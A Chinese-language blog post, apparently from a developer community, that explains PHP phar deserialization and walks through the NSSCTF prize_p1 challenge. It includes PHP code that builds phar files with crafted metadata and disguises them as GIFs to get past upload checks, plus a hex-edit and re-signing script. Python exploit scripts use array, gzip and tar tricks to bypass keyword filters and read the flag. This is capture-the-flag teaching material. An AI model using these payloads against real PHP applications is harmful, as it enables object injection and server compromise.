前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >phar反序列化

phar反序列化

原创
作者头像
f1sh
发布2024-07-28 22:34:14
880
发布2024-07-28 22:34:14

这篇文章来总结一下phar反序列化

利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,可以拓展php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

phar文件结构

在学习攻击手法之前要先了解一下phar的文件结构。

1. a stub

可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

2. a manifest describing the contents

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

3.the file contents

被压缩文件的内容

4.[optional] a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾

利用条件
代码语言:javascript
复制
 1.phar可以上传到服务器端(存在文件上传)
 2.要有可用的魔术方法作为“跳板”。
 3.操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
demo演示

生成php.ini中需要phar.readonly=off

代码语言:javascript
复制
 <?php
 /* 文件名 */
 $phar = new phar("a.phar"); //文件名
 $phar->startBuffering();
 /* 设置stub,必须要以__HALT_COMPILER(); ?>结尾 */
 $phar->setStub("<?php __HALT_COMPILER(); ?>");
 /* 添加要压缩的文件 */
 $phar->addFromString("test1.txt","test1");
 $phar->addFromString("test2.txt","test2");
 $phar->stopBuffering();
 ?>

php中相当一部分的文件系统函数在通过phar://伪协议解析文件时,都会将meta-data进行反序列化,

代码语言:javascript
复制
 <?php 
     class TestObject {
         public function __destruct() {
             echo 'Destruct called';
         }
     }
 ​
     $filename = 'phar://phar.phar/test.txt';
     file_get_contents($filename); 
 ?>

$filename = 'phar://phar.phar/test.txt';定义了一个名为$filename的变量,并将其设置为phar://phar.phar/test.txt,即使用Phar协议来指定一个位于Phar文件内的文件test.txtfile_get_contents($filename);使用file_get_contents函数读取$filename指定的文件内容。由于$filename是使用Phar协议指定的,因此file_get_contents会从phar.phar这个Phar文件中获取test.txt文件的内容。

将phar伪装为其他格式的文件

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

代码语言:javascript
复制
 <?php
     class TestObject {
     }
 ​
     @unlink("phar.phar");
     $phar = new Phar("phar.phar");
     $phar->startBuffering();
     $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
     $o = new TestObject();
     $phar->setMetadata($o); //将自定义meta-data存入manifest
     $phar->addFromString("test.txt", "test"); //添加要压缩的文件
     //签名自动计算
     $phar->stopBuffering();
 ?>

这里是将gif伪装为gif,通过这种方法可以绕过相当一部分的上传检测。

具体利用

有一说一,虽然看了一些文章来了解phar反序列化的作用原理,但是由于没有具体做题以至于对这个反序列化还是一知半解,甚至连怎么做都不知道,不过后来看了bilala师傅的wp才知道该如何下手做。

接下来以nssctf里面的prize_p1为例进行演示。

源代码

代码语言:javascript
复制
 <META http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <?php
 highlight_file(__FILE__);
 class getflag {
     function __destruct() {
         echo getenv("FLAG");
     }
 }
 ​
 class A {
     public $config;
     function __destruct() {
         if ($this->config == 'w') {
             $data = $_POST[0];
             if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                 die("我知道你想干吗,我的建议是不要那样做。");
             }
             file_put_contents("./tmp/a.txt", $data);
         } else if ($this->config == 'r') {
             $data = $_POST[0];
             if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                 die("我知道你想干吗,我的建议是不要那样做。");
             }
             echo file_get_contents($data);
         }
     }
 }
 if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
     die("我知道你想干吗,我的建议是不要那样做。");
 }
 unserialize($_GET[0]);
 throw new Error("那么就从这里开始起航吧");

首先是一个getflag类,内容就是输出$FLAG ,触发条件为__destruct; __destruct是析构函数,会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。 第二个类是A,作用有两个,一个是写文件(file_put_contents),一个是读文件(file_get_contents),写入数据和读取对象都是POST[0]

由于正则匹配对flag有过滤,所以这个不能直接去触发getflag,那么去A类里面找一找,任意文件写入+任意文件读取+类,可以考虑用phar反序列化,

知识点补充
通过gc机制触发__destruct

在PHP中,正常触发析构函数(__destruct)有三种方法:

①程序正常结束

②主动调用unset($aa)

③将原先指向类的变量取消对类的引用,即$aa = 其他值;

前两种很好理解,主要来讲讲第三种PHP中的垃圾回收Garbage collection机制,利用引用计数和回收周期自动管理内存对象。当一个对象没有被引用时,PHP就会将其视为“垃圾”,这个”垃圾“会被回收,回收过程中就会触发析构函数,可以通过取消原本对getflag的应用,从而出发对他的析构函数。

php异常

PHP中的错误级别:

代码语言:javascript
复制
 致命错误 E_ERROR, 语法错误 E_PARSE, 警告错误 E_WARNING, 通知错误 E_NOTICE

其中前两种会导致程序异常退出(中止),所以程序本该释放内存等这些操作也就无法完成了,也就无法触发析构函数 而后两种只是抛出异常,但仍会继续执行程序

数组绕过preg_match

在题中POST[0]传入数组即可绕过关键字检测,就可以直接写入phar文件的内容了,无需对phar文件做额外处理,然后直接获取flag

phar://支持的后缀

除了.phar可以用phar://读取,gzip bzip2 tar zip 这四个后缀同样也支持phar://读取

guoke师傅的文章

所以在此题中,可以对phar.phar文件做以上这些处理,使其成为乱码,从而绕过关键字的检测。

思路

先传入构造的phar文件内容,但是在传入时我们需要先绕过preg_match的检测(数组绕过或者tar,gzip),传入后我们再利用phar://tmp/a.txt读取文件。读取时,会反序列化其中的metadata数据(我们构造的数据),在反序列化a:2:{i:0;O:7:"getflag":0:{}i:0;N;}时,又会因为类被取消引用从而触发GC,从而触发getflag类的析构函数,从而获取flag

制作phar文件

操作如下,在phar的metadata中写入的内容为a:2:{i:0;O:7:"getflag":0:{}i:0;N;}

这样的话,当phar://反序列化其中的数据时(反序列化时是按顺序执行的),先反出a[0]的数据,也就是a[0]=getflag类,再接着反序列化时,又将a[0]设为了NULL,那就和上述所说的一致了,getflag类被取消了引用,所以会触发他的析构函数,从而获得flag

修改phar文件

但新的问题又随之产生了,我们在phar中无法生成上述的字符串内容,我们只能生成a:2:{i:0;O:7:"getflag":0:{}i:1;N;}

代码语言:javascript
复制
 <?php
 class getflag{
 }
 $a = new getflag();
 $a = array(0=>$a,1=>null);
 @unlink("phar.phar");
 $phar = new Phar("phar.phar"); //后缀名必须为phar
 $phar->startBuffering();
 $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
 $phar->setMetadata($a); //将自定义的meta-data存入manifest
 $phar->addFromString("test.txt", "test"); //添加要压缩的文件(随便填)
 //签名自动计算
 $phar->stopBuffering();
 ?>

注意修改配置文件php.ini中的phar的readonlyoff并去掉这行前边的分号

用16进制编辑器进行修改,修改为30,这样meta-data就会变为a:2:{i:0;O:7:"getflag":0:{}i:0;N;}了

注意不要用记事本直接进行修改,用记事本进行修改的话,修改的数字连同后面的对应的签名都会被修改。

修改phar签名

phar文件时修改完成了,但是这个phar文件并不是完好的,因为数据与后面的签名时对应不上的。这里就需要通过手动进行修改。

脚本

代码语言:javascript
复制
 from hashlib import sha1
 with open("phar.phar",'rb') as f:
    text=f.read()
    main=text[:-28]        #正文部分(除去最后28字节)
    end=text[-8:]          #最后八位也是不变的    
    new_sign=sha1(main).digest()
    new_phar=main+new_sign+end
    open("phar.phar",'wb').write(new_phar)     #将新生成的内容以二进制方式覆盖写入原来的phar文件
 ​
数组绕过

完成上述的操作可以获得一个meta-data部分存在可控代码的phar文件,在POST[0]时传入数组即可

脚本

代码语言:javascript
复制
import requests
import re

url="http://1.14.71.254:28517/"

### 写入phar文件
with open("phar.phar",'rb') as f:
    data1={'0[]':f.read()}          #传数组绕过,值就是phar.phar文件的内容
    param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
    res1 = requests.post(url=url, params=param1,data=data1)

### 读phar文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
res2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF\{.*?\}').findall(res2.text)
print(flag)
gzip绕过

先获得一个meta-data部分存在可控代码的phar文件,接着执行gzip phar.phar对这个文件进行压缩,接着利用数组绕过的脚本上传即可,注意修改文件名

当然,利用脚本直接完成gzip压缩和后面一系列操作也是可以的。

脚本

代码语言:javascript
复制
import requests
import re
import gzip

url="http://1.14.71.254:28517/"

### 先将phar文件变成gzip文件
with open("phar.phar",'rb') as f1:
    phar_zip=gzip.open("gzip.zip",'wb')                  #创建了一个gzip文件的对象
    phar_zip.writelines(f1)                                #将phar文件的二进制流写入
    phar_zip.close()

###写入gzip文件
with open("gzip.zip",'rb') as f2:
    data1={0:f2.read()}           #利用gzip后全是乱码绕过               
    param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
    p1 = requests.post(url=url, params=param1,data=data1)

### 读gzip.zip文件,获取flag
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
p2=requests.post(url=url,params=param2,data=data2)
flag=re.compile('NSSCTF\{.*?\}').findall(p2.text)       
print(flag)
tar绕过

先新建一个.phar文件夹,在文件夹中新建.metadata文件,内容直接写入a:2:{i:0;O:7:"getflag":0:{}i:0;N;}

将文件夹拖入Linux中,tar -cf tartest.tar .phar/生成新文件后再对新文件gzip一下得到tartest.tar.gz文件,再POST这个文件的内容,再读取获得flag

.phar在Linux中显示为隐藏文件,所以拖入后可能会看不见,利用ls -al可以看到

参考资料

https://paper.seebug.org/680/#21-phar

https://bilala.gitee.io/2022/04/01/prize1/

https://guokeya.github.io/post/uxwHLckwx/

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • phar文件结构
    • 1. a stub
      • 2. a manifest describing the contents
        • 3.the file contents
          • 4.[optional] a signature for verifying Phar integrity (phar file format only)
          • 利用条件
          • demo演示
          • 将phar伪装为其他格式的文件
          • 具体利用
            • 知识点补充
              • 通过gc机制触发__destruct
              • php异常
              • 数组绕过preg_match
              • phar://支持的后缀
            • 思路
              • 制作phar文件
              • 修改phar文件
              • 修改phar签名
              • 数组绕过
              • gzip绕过
              • tar绕过
          • 参考资料
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档